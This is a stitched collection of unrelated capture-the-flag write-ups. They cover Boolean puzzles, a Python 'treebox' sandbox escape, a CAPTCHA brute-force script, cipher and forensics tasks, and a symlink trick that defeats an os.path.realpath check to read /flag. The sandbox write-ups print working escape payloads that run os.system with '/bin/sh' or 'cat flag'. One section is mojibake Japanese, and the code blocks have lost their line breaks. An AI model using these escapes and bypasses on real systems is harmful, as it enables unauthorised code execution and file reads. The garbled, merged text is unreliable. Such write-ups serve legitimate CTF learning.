```F = A'BX'YZ + ACX'YZ + AB'C'X'Z + AB'C'XY'Z' + A'B'CXY'Z' + AB'C'X'Y + A'B'CX'YZ'F = A'BX'YZ + CX'YZ + ABCX'Y + AB'X'YZF = BCXY'Z' + AB'C'XY' + AB'CY'Z + BCX'Y + AB'C'X'Y + A'BC'XY'ZF = AB'CX'Y + BC'XY'Z' + BC'X'Y + AB'C'Y'Z + ACXY'Z + AB'CXY'F = ABCXY'Z' + A'CX'YZ' + A'BC'X'YZ + AB'X'YZ' + A'B'C'XY'Z'F = A'B'CY'Z + A'C'X'Y + BCX'Y'Z + ABCXY'Z' + ABCX'Y + AB'XY'Z + A'C'XY'Z'F = ABCXY'Z' + ABCX'Y + B'X'YZ' + A'B'CX'Y + A'X'YZ'F = A'BC'X'Y + AB'Y'Z + A'BC'XY'Z' + AB'C'X'YZ' + ACY'ZF = A'BC'X'Y + AB'CX'Y + AX'Y'Z + BC'X'Y'Z + AB'Y'Z + A'BC'XY'Z' + AB'CXY'F = A'BX'YZ + CX'YZ + ABCX'Y + AB'X'YZF = B'X'Y'Z + A'C'X'Y + A'B'C'XY' + A'C'X'Z + CX'Y'ZF = ABCXY'Z' + ABCX'Y + B'CX'YZ' + A'BC'X'YZ' + AB'X'YZ'F = ABC'F = BC'X'YZ + ABC'X'Y + ABC'XY'Z' + ACXY'Z + A'BC'XY'Z + AB'XY'Z + AB'CXY' + AB'CX'YZ' + AC'X'YZF = AB'Y'Z + A'B'XY'Z' + A'B'C'X'Y + ABCXY'Z' + ABCX'Y + A'BY'Z + BCX'YZ' + B'CY'Z + A'BC'X'ZF = AB'Y'Z + ABCXY' + ABCX'Y + A'BC'Y'ZF = A'BC'XY' + ACX'Y'Z + A'BC'X'YZ' + AB'C'X'Z + A'BX'Y'ZF = ABC'F = ABCXY'Z' + ABCX'Y + B'X'Y'Z + A'X'Y'Z + ABCX'ZF = AB'Y'Z + A'B'C'X'Y + A'B'C'XY'Z' + ABCXY'Z' + ABCX'Y + A'BY'Z + A'CY'ZF = AB'Y'Z + B'C'XY'Z' + A'B'C'X'Y + A'BX'Y'Z + ABCXY'Z' + ABCX'Y + A'CX'Y'ZF = B'X'YZ' + ABCXY'Z' + ABCX'Y + A'X'YZ' + A'B'C'X'Y + A'B'C'XY'Z'F = A'B'C'X'Y + A'BX'Y'Z + A'B'C'XY'Z' + ABCXY'Z' + ABCX'Y + B'CX'Y'Z + AB'X'Y'ZF = A'B'C'X'YZ + A'CX'YZ' + AB'X'YZ' + ABCX'YZ + A'BC'XY'Z'```
this is basically a series of boolean functions, `+` denotes OR, `'` is NOT, and if two letters are near each other that it's an AND, judging by the image it is possible that we have to solve these functions and the output put on a matrix like shown in the Karnaugh map might give us the flag.
```pyfrom itertools import product as iterproductfrom sympy import *
tknstr = "ABCXYZ"tokens = {x: symbols(x) for x in tknstr}
funconstraints = []
def parseline(input): roba = [] tmp = [] tmptk = None for tk in input: match tk: case 'F' | '=': pass case ' ' | '+' | '\n': if tmptk is not None: tmp.append(tmptk) tmptk = None if len(tmp) != 0: roba.append(And(*tmp)) tmp = [] case '\'': if tmptk is None: raise Exception('Wtf parse error') else: tmp.append(Not(tmptk)) tmptk = None case _: if tmptk is not None: tmp.append(tmptk) tmptk = tokens[tk]
if tmptk is not None: tmp.append(tmptk) tmptk = None if len(tmp) != 0: roba.append(And(*tmp)) tmp = [] return Or(*roba)
def assignToSyms(values): return { tok: val for val, tok in zip(values, tokens.values()) }
valtopos = {0:0, 1:1, 2:3, 3:2, 4:4, 5:5, 7:6, 6:7}matrix = [[0 for _ in range(8)] for _ in range(8)]
if __name__ == '__main__': with open('file.txt', 'r') as f: for l in f.readlines(): for cons in funconstraints: for abcxyz in iterproduct([0,1], repeat=6): row = abcxyz[0] * 4 + abcxyz[1] * 2 + abcxyz[2] col = abcxyz[3] * 4 + abcxyz[4] * 2 + abcxyz[5] row = valtopos[row] col = valtopos[col] result = cons.subs(assignToSyms(abcxyz)) matrix[row][col] = result
for x in matrix: print("".join(['O' if y else ' ' for y in x]))```
This script prints the matrices and each one of them draws a character, putting them together gets us the flag `flag{S1mplFi_y0ur_LOGIC}` |
[Original writeup](https://imp.ress.me/blog/2022-07-05/google-ctf-2022-ocr/)
Given a toy neural network being run against images of flag text, craft model weights to turn ReLU layers into a comparison oracle to leak image brightness data and reconstruct image dataset locally. More efficient solutions exist involving step-wise activation of output layers and crafting convex hulls. |
```pyimport base64
s = []
for i in range(1337):
with open(f'file_{i}', 'rb') as f: l = f.read()
s.append(l[0x4020:0x4020+39].decode()) f.close()
l = [('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB', 'AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA', 'AAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAA', 'AAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAA', 'AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA', 'AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA', 'AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAA', 'AABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA', 'BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAA', 'AAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAA', 'ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA'), ('AAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA'), ('AAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAA'), ('AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAA'), ('AAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAA'), ('AAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAA'), ('AAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAA'), ('AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAA'), ('AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'), ('AABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA'), ('ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAA'), ('BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA')]
d = []
for a,b in l: d.append((a.index('B'), b.index('B')))
x = b''
for t in s: w = [''] * 39 for a,b in d: w[a] = t[b] x += ''.join(w).encode()
x += b'=='
with open('file.pdf', 'wb') as f: f.write(base64.b64decode(x))```
# file.pdf

# FLAG
**`vsctf{templated_binaries_are_1337}`** |
## Challenge description

The challenge was at a netcat server. We were also provided with a python file treebox.py:
```python#!/usr/bin/python3 -u## Flag is in a file called "flag" in cwd.## Quote from Dockerfile:# FROM ubuntu:22.04# RUN apt-get update && apt-get install -y python3#import astimport sysimport os
def verify_secure(m): for x in ast.walk(m): match type(x): case (ast.Import|ast.ImportFrom|ast.Call): print(f"ERROR: Banned statement {x}") return False return True
abspath = os.path.abspath(__file__)dname = os.path.dirname(abspath)os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")source_code = ""while True: line = sys.stdin.readline() if line.startswith("--END"): break source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)if verify_secure(tree): # Safe to execute! print("-- Executing safe code:") compiled = compile(source_code, "input.py", 'exec') exec(compiled)```
## Almost everything blocked!
Running `treebox.py`, it was asking to enter code ending with "--END". If we try to simply read the flag, it was obvious it wouldn't work:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)print(open('flag').read())--ENDERROR: Banned statement <ast.Call object at 0x0000021E8D097580>```
At first I thought it was only filtering the dangerous functions like `exec` and `eval`, but apparently all function calls were blocked.
```aa29>python treebox.py-- Please enter code (last line must contain only --END)print("1")--ENDERROR: Banned statement <ast.Call object at 0x00000183DBAC7580>```
It was also blocking `import` command:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)import os--ENDERROR: Banned statement <ast.Import object at 0x000001F1D4997850>```
My first intuition was to try out creating a class with the code to print the flag in its constructor `__init__` so that when I create the object, it would run. But again creating a new object is like a function call anyways and it got blocked as:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)class A: def __init__(self): passa = A()--ENDERROR: Banned statement <ast.Call object at 0x00000233873FED70>```
## What was allowed?
Static access of functions (not actual calls) and operator-based evaluation was considered safe though:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)class A(): def b(): passA.bc=8a=c+9--END-- Executing safe code:```
So the challenge was here to pass the arguments without actually making a function call. And that was when it hit me: The solution must be somewhere around magic/dunder methods in python!
## Magic/Dunder methods
You can actually overload the operators in python using the double-underscore or dunder methods like `__add__`, `__sub__`, etc. For instance, this example from [www.geeksforgeeks.org](https://www.geeksforgeeks.org/operator-overloading-in-python/)
```pythonclass A: def __init__(self, a): self.a = a # adding two objects def __add__(self, o): return self.a + o.aob1 = A(1)ob2 = A(2)ob3 = A("Geeks")ob4 = A("For") print(ob1 + ob2)print(ob3 + ob4)```
In the operation `ob1 + ob2` you are basically using the `+` operator to call the `__add__` method within object `ob1` with `ob2` as parameter `o`. This would evaluate to `3`.
## Creating an object
So we can use operator-overloading to call functions on objects, there was still a challenge on how to create an actual object. I searched for it online on ctf writeups and wikis and came across with this neat idea:
```pythonclass K(Exception):...
try: raise Kexcept K as k: k```
So, basically we are raising an exception with class K(inheriting class Exception) and it gets caught in except block as an object k.
## The solution
Combining the object creation trick and operator-overloading trick, this was the solution I came up with:
```pythonclass A(Exception): def __add__(self,toexec): return 1A.__add__ = exectry: raise Aexcept A as a: a+"print(open('flag').read())"```
I sent the code to the netcat server and got the flag:```Received: b'== proof-of-work: disabled ==\n'Received: b'-- Please enter code (last line must contain only --END)\n'Received: b'-- Executing safe code:'Received: b'\nCTF{CzeresniaTopolaForsycja}\n\n'``` |
# vsCAPTCHA:Web:482ptsvsCAPTCHA: the ultimate solution to protect your site from 100% of bots, guaranteed! [https://vscaptcha-twekqonvua-uc.a.run.app](https://vscaptcha-twekqonvua-uc.a.run.app/) Downloads [vsCAPTCHA.zip](vsCAPTCHA.zip)
# SolutionURLãšãœãŒã¹ãæž¡ãããã ã¢ã¯ã»ã¹ãããšãªã¬ãªã¬CAPTCHAãåããŠããã衚瀺ãããŠããæ°åã®è¶³ãç®ã1000åæ£è§£ãããšã¯ãªã¢ã®ããã ã vsCaptcha [site.png](site/site.png) å
åŠæåèªèãäžå¯èœã§äžèŠãããšå®å
šã ããçºããŠãããšäžå¯©ãªç¹ã«æ°ã¥ãã èšç®ã®ããšãšãªãäºã€ã®æ°åã`154~160`ã`425~427`ã®éã®ã¿ã§åããŠããã ä¹±æ°ã®çæéšåããããããšäºæ³ããé
åžããããœãŒã¹ãèŠããšä»¥äžã®ããã§ãã£ãã ```ts~~~const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}";const captchaSolutions = new Map();
interface CaptchaJWT { exp: number; jti: string; flag?: string; failed: boolean; numCaptchasSolved: number;}
const jwtKey = await jose.importPKCS8( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")), "RS256");const jwtPubKey = await jose.importSPKI( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")), "RS256");
const app = new Application();const router = new Router();
const b1 = Math.floor(Math.random() * 500);const b2 = Math.floor(Math.random() * 500);
~~~
router.post("/captcha", async (ctx) => { const stateJWT = ctx.request.headers.get("x-captcha-state"); const body = await ctx.request.body({ type: "json", }).value; const solution = body.solution;
let jwtPayload: CaptchaJWT = { // 10 seconds to solve exp: Math.round(Date.now() / 1000) + 10, jti: crypto.randomUUID(), failed: false, numCaptchasSolved: 0, };
if (stateJWT) { try { const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey); jwtPayload.numCaptchasSolved = payload.numCaptchasSolved;
if ( !captchaSolutions.get(payload.jti) || captchaSolutions.get(payload.jti) !== solution ) { const jwt = await new jose.SignJWT({ failed: true, numCaptchasSolved: payload.numCaptchasSolved, exp: payload.exp, }) .setProtectedHeader({ alg: "RS256" }) .sign(jwtKey);
ctx.response.headers.set("x-captcha-state", jwt); ctx.response.status = 401; return; } } catch { ctx.response.status = 400; return; }
jwtPayload.numCaptchasSolved += 1; }
const num1 = Math.floor(Math.random() * 7) + b1; const num2 = Math.floor(Math.random() * 3) + b2;
const captcha = createCaptcha({ width: 250, height: 150, // @ts-ignore provided options are merged with default options captcha: { text: `${num1} + ${num2}`, }, });~~~});~~~```jtiãããŒãšããMapã§æ°å€ã®æ£èª€å€å®ãå®è£
ãããŠããããã ã äžåºŠç®ã®ä¹±æ°çæãã°ããŒãã«ã§å®£èšãããŠããåºå®ãããŠããã äºåºŠç®ã®ä¹±æ°çæã§ã¯äžåºŠç®ã®ä¹±æ°ãã`+7`ã`+3`ã®ç¯å²ã®æŽæ°ã§ã®ã¿å€åãããããèšç®ã®çãã¯é«ã
9éãã®`579~587`ã§ããã jwtã«ããããŒã®åãæž¡ãã¯10ç§éã®ç¶äºããããäžæ£è§£ã§ããå Žåã®ãªã»ãããªã©ã¯ãªããããªã®ã§ããã¹ãŠã®ãã¿ãŒã³ãPOSTããã°æ£è§£ãåŒãåœãŠãããšãã§ããã 以äžã®imarobot.pyã§è¡ã(éå¶ã®ãµãŒãã貧匱ã§ãã³ãã³èœã¡ããããSpeed upæ©æ§ãå°å
¥ããŠããæ³£)ã ```pythonimport sysimport jsonimport base64import requests
url = "https://vscaptcha-twekqonvua-uc.a.run.app"#url = "http://localhost:8080" # Debug
res = requests.post(f"{url}/captcha", data="{}")x_captcha_state = res.headers["x-captcha-state"]print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode())
while True: for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427] res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state}) if len(res.content) == 0: # Speed up!! continue try: state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode() except: print(res.headers["x-captcha-state"]) # Padding error? json_state = json.loads(state) print(state) if json_state["failed"] == False: if json_state["numCaptchasSolved"] >= 1000: print(f"Flag: {json_state['flag']}") sys.exit() x_captcha_state = res.headers["x-captcha-state"] break```å®è¡ããã ```bash$ python imarobot.py{"exp":1657416673,"jti":"e43e4e71-afbe-4506-b0f7-a836448c3fab","failed":false,"numCaptchasSolved":0}{"exp":1657416674,"jti":"72e4b5e7-3853-4a5f-8547-9bdc4e7ceed2","failed":false,"numCaptchasSolved":1}{"exp":1657416677,"jti":"d39acf8e-4d55-4d91-a6f8-324fe1fea197","failed":false,"numCaptchasSolved":2}~~~{"exp":1657418403,"jti":"bf53eaf3-e73d-4f88-8db8-561a7cc5c1ac","failed":false,"numCaptchasSolved":998}{"exp":1657418406,"jti":"27760cf6-5a2e-42d1-9408-bf5a09ac837c","failed":false,"numCaptchasSolved":999}{"exp":1657418407,"jti":"7984a1c9-2345-49fd-89e2-1604de1ede16","failed":false,"numCaptchasSolved":1000,"flag":"vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3}"}Flag: vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3}```flagãåŸãããã
## vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3} |
Hexahue encodes letters as blocks of pixels
Opening up the file we can see some hexahue
The image is 111340 x 50 pixels, so we have a lot of hexahue to deal with. Decoding the first bit using https://www.dcode.fr/hexahue-cipher we get the string âlorem ipsum dolorâ so we know most of this text is a red herring.
I found two scripts that take hexahue images and translate them to text:The script by dmell(https://github.com/dmell/hexahue-decoder/blob/master/hexahue.py) looks a bit simpler so weâll pick that to modify.
Our hexahue image is 50 pixels tall so each square is 10 x 10. The script expects 1x1 squares so weâll need to modify the math somewhat. The script also doesnât expect a column of whitespace between each hexahue letter, so we must account for that too.
We get lorem ipsum text and find the flag here:d aliquet lacus vestibulum message sed arcu non odio euismod lacinia the message you seek is ihatehexahuesomuchpleasehelp sociis natoque penatibus et magnis dis parturient montes nascetur elit at imperdiet dui ac
Flag format wants uppercase so our final answer is vsctf{IHATEHEXAHUESOMUCHPLEASEHELP} |
Open up the images in FTK Imager
Look at the logs in /Users/adminbot6000/AppData/Roblox/logs/archive
Username is in the log file:Name%22%3a%22ftcsvisgreat%22%2c%22DisplayName%22%3a%22ftcsvisgreat%22%2c%22
unencoded:Nameâ:âftcsvisgreatâ,âDisplayNameâ:âftcsvisgreatâ,â
so our final flag is vsctf{ftcsvisgreat}
|
**TL;DR: payload**```pythonast.Module.__add__=os.systemtree+'cat flag'--END```
Full explanation and [Original Writeup](https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox) (https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox) |
Drop both images into Google Images and find âSOMETIMES IT JUST CLICKSâ should be added to the original one. And the hint is quite obvious as it highlighted CLICKS and ZERO for 3 times.
So use Google to search âTenable zero clickâ and find this article:
https://www.tenable.com/blog/cve-2022-30190-zero-click-zero-day-in-msdt-exploited-in-the-wild
The flag is hiden in the source code. |
# TreeBox
## Challenge Description**Category**: Sandbox
**Description**: I think I finally got Python sandboxing right.

The challenge was a pyjail-style sandbox, that needed to "escaped" from - regain the ability to execute arbitrary code (and read the flag file) given a VERY restrictive environment. As usual with pyjails, the source code was provided:
```python#!/usr/bin/python3 -u## Flag is in a file called "flag" in cwd.## Quote from Dockerfile:# FROM ubuntu:22.04# RUN apt-get update && apt-get install -y python3#import astimport sysimport os
def verify_secure(m): for x in ast.walk(m): match type(x): case (ast.Import|ast.ImportFrom|ast.Call): print(f"ERROR: Banned statement {x}") return False return True
abspath = os.path.abspath(__file__)dname = os.path.dirname(abspath)os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")source_code = ""while True: line = sys.stdin.readline() if line.startswith("--END"): break source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)if verify_secure(tree): # Safe to execute! print("-- Executing safe code:") compiled = compile(source_code, "input.py", 'exec') exec(compiled)```
## Code EvaluationLooking at the source code, the program checks the input code before executing it - only if the code is labeled 'safe' by ```verify_secure```,that uses the ```ast``` library (**A**bstract **S**yntax **T**rees) to parse the input.
Essentially, both functions calls and import statements are banned, because they match either of ```ast.Call, ast.Import, ast.ImportFrom```
Notice how the input is being compiled (and executed if it passes ```verify_secure```) without any change to the available modules or builtins. This means that we have access to all of the variables and modules in the original program, including: ```os```, ```sys```, and ```ast```. We will exploit this later on.
Also, the program uses structural pattern matching, so we know that it is running on Python 3.10+
## Thought Process
While imports can be avoided, function calls are a fundemental part of any programming language.At first glance, the objective of reading the flag without calling any function seems impossible.
This means that the challenge must be solved by:1. Somehow managing to read the flag file without using calls or import statements (unlikely)2. Figuring out a way to fool ```ast``` by calling functions indirectly, so it won't notice the function calls made by the program
As far as we know, it's impossible to access the file system or the shell without invoking any functions, so we tried to change the angle of thinking about this challenge to the second way.
We needed to find the 'trickable' part of the program, as a chain is only as strong as its weakest link.A few options come to mind:1. Python's match-case2. ast parser
We didn't believe Python's match-case to be the weak part, as that would be a fatal flaw in Python itself, and probably not the intention of the challenge authors anyway (even though it is *possible*, see Python2's ```input()``` RCE vulnerability).
That leaves tricking the ast parser by calling functions indirectly (without invoking them using parentheses).
## Dunder Methods To the Rescue!
One way to achieve indirect function calls, is dunder (double underscore) methods. These are functions that help creating classes in Python, and are normally used in order to make contructors, overload operators change the behavior of Python built-in functions on the classe's objects, and more.
## Constructing a Solution PayloadAt first, this doesn't seem to be of much help - to create an object (and invoke ```__init__``` or another dunder method), you still need to use a call.After putting some thought into it, we came to realize that exceptions are classes too! A quick check reveals that it is possible to raise exceptions without any arguments.Meaning:
```raise Exception``` is allowed, but ```raise Exception("Can I pass an argument?")``` would match to ```ast.Call```.
Knowing all of this, we can create (and raise) a custom exception (a class that inherits from ```Exception```), catch the exceptionand get access to the exception object, already equipped with the dunder method we created.
So our theoretical payload would look something like this:```pythonclass CustomException(Exception): pass # TODO: add a dunder method to use when handling the exception try: raise CustomException except CustomException as e: pass # TODO: use the exception object (e)```
At this point, there are several approaches to what dunder method to use to inderectly call a function. One of the most common ones is to overload one of the operators, for example, the plus operator (+) using the ```__add__``` method.
We chose to use ```__getitem__```.```__getitem__``` is the function that is being called when looking for a value that matches a key in a dictionary.
For instance, in the following code snippet, ```__getitem__``` is called to retrieve the value matching the key 'a':```pythond = {'a': 1, 'b': 2}d['a']```By overriding ```__getitem__``` in our custom exception with another function, we can get ANY function to execute with one argument - whatever we put in the square brackets as a 'key'.
Since the ```os``` module is loaded into the running namespace, we can override ```__getitem__``` with os.system and thus execute any shell command.
This brings us to the final attack payload:```pythonclass CustomException(Exception): __getitem__ = os.system
try: raise CustomExceptionexcept CustomException as e: e["/bin/sh"]--END```Which will end up executing: ```os.system("/bin/sh")```, providing us an unlimited shell.```bash$ cat flagCTF{CzeresniaTopolaForsycja}```
**P.S.** This challenge is probably the only time we were *delighted* to see an exception, instead of being frustrated :)
*Writeup by C0d3 Bre4k3rs: 5h4d0w (Om3rR3ich), N04M1st3r* |
## Introduction
What we have is a server running a Python script that allows to clone a gitrepository and run several commands on it. The target repository is cloned intothe `/tmp/<encoded_repo_url>` folder. After cloning, the following commands areavailable:
1. List files in repository (cd & ls)2. Show file in repository (cat)3. Check for updates (git fetch)4. Pull updates (unimplemented)5. Exit
## Command number 2
As with many challenges, the flag resides in the `/flag` file. Command number 2caught my attention since it prints the contents of a file of choice, and if I'mable to make it print the contents of the flag file, I win. Of course, it's notthat simple - the command verifies that the target file resides inside therepository folder. Below is the command implementation:
```python_REPO_DIR = "/tmp/<encoded_repo_url>"
# ...
def show_file(): filepath = input(">>> Path of the file to display: ") real_filepath = os.path.realpath(os.path.join(_REPO_DIR, filepath)) if _REPO_DIR != os.path.commonpath((_REPO_DIR, real_filepath)): print("Hacker detected!") return result = subprocess.run(["cat", real_filepath], capture_output=True) if result.returncode != 0: print("Error while retrieving file content.") return print(result.stdout.decode())```
The author considered the possibility that the target file could be a symboliclink, and used `os.path.realpath` to resolve symlinks before verifying that thetarget file is inside the repository folder. If I could only fool`os.path.realpath` and make it return a symlink without resolving it...
## A failed attempt: Invalid UTF-8 characters
Paths in Linux [may contain invalid UTF-8characters](https://unix.stackexchange.com/questions/667652/can-a-file-path-be-invalid-utf-8).For example, try `mkdir ''$'\334''berraschung'`. I hoped that it would confusePython which by default uses UTF-8 for strings, but it worked correctly until Iaccessed the string with the path. Looks like path operations worked correctly,but trying to access the resulting string raised the `UnicodeDecodeError`exception.
## Analyzing `os.path.realpath`
Next thing I did was looking at the Python implementation of `os.path.realpath`.The implementation uses the `lstat` function to check whether a file is asymlink. If `lstat` fails, Python assumes that the file isn't a symlink, so Ichecked what could cause `lstat` to fail. One of the possible error conditionsis `ENAMETOOLONG` which is returned when the path is too long. I didn't findother error conditions that looked relevant, so I focused on long paths.
Note: Python 3.10 adds the `strict` parameter to `os.path.realpath`, which is`False` by default. When `strict` is set to `True`, `os.path.realpath` fails if`lstat` returns an error. My solution to the challenge wouldn't work with thisparameter set to `True`.
## Abusing long paths
Typically Linux has a maximum filename length of 255 characters, and paths thatare passed to syscalls can't exceed 4095 characters([reference](https://unix.stackexchange.com/questions/596653/nested-directory-depth-limit-in-ext4)).
So I tried creating a symlink in my repository with a long path, like this:
> `/tmp/repo/<many_characters>/lnk`
The idea was that the path would be longer than 4095 characters, `lstat` wouldfail and `os.path.realpath` would return the path as-is. That worked, but `cat`failed with the same path for the same reason - it was too long - so I had tothink of a better idea. Since `os.path.realpath`, upon the failure of `lstat`,keeps traversing the path, and since I needed a shorter path, I tried adding`..` directories to shorten the result:
> `/tmp/repo/<many_characters>/lnk/../../..`
It indeed shortened the path, but I needed the result to be both a symlink and apath that's not too long, and if it would land on a symlink, it would follow it.Catch 22.
Finally, I found the following solution: If the link was traversed in the past,Python assumes it's a symlink loop and gives up. So I made sure to start with asymlink that would make Python think there's a loop and return it:
> `/tmp/repo/flag` â points to `<many_characters>/lnk/../../flag`
> `/tmp/repo/<many_characters>/lnk` â points to `/`
In this case, `os.path.realpath('/tmp/repo/flag')` tries to resolve`/tmp/repo/<many_characters>/lnk` with `lstat` which fails with `ENAMETOOLONG`,and keeps on traversing the path, finally getting back to `/tmp/repo/flag` andreturning it. Then, `/tmp/repo/flag` is passed to `cat` which resolves`<many_characters>/lnk` (note that this time it's shorter than 4095 characterssince it's a relative path) to `/`, and finally traversing to `/flag` andprinting it.
## Solution script
Here's a script implementing the solution:
```pythonimport urllib.parse
def encode_repo_url(repo_url): return urllib.parse.quote(repo_url, safe='').replace('.', '%2e')
